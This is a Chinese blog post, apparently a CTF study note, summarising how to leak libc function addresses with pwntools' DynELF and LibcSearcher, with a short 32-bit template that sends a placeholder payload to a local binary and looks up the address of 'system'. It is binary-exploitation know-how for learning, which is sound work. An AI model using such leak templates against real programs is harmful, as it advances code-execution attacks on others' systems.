泄漏地址总结（Dynelf & LibcSearcher）

最新推荐文章于 2024-04-02 09:56:36 发布

Xuan～

最新推荐文章于 2024-04-02 09:56:36 发布

阅读量2.6k

点赞数

分类专栏：任务

本文链接：https://blog.csdn.net/weixin_44319142/article/details/89329728

版权

本文介绍了 Dynelf 泄漏模块在32位和64位程序中的使用，重点讨论了利用write函数泄露system地址的过程，并通过LibcSearcher获取libc版本。32位条件下，需要目标程序有信息泄露漏洞且能反复触发。64位部分，提供了一个实用模板。通过示例和链接到的论坛讨论，读者可以更深入理解地址泄漏技术。

摘要由CSDN通过智能技术生成

Dynelf泄漏modeul

32位

p = process('./xxx')

def leak(address): #address指要泄露的地址
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  #print "%#x => %s" % (address, (data or '').encode('hex'))
  return data
  
d = DynELF(leak, elf=ELF("./xxx"))     
 #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  
#在libc文件中搜索system函数的地址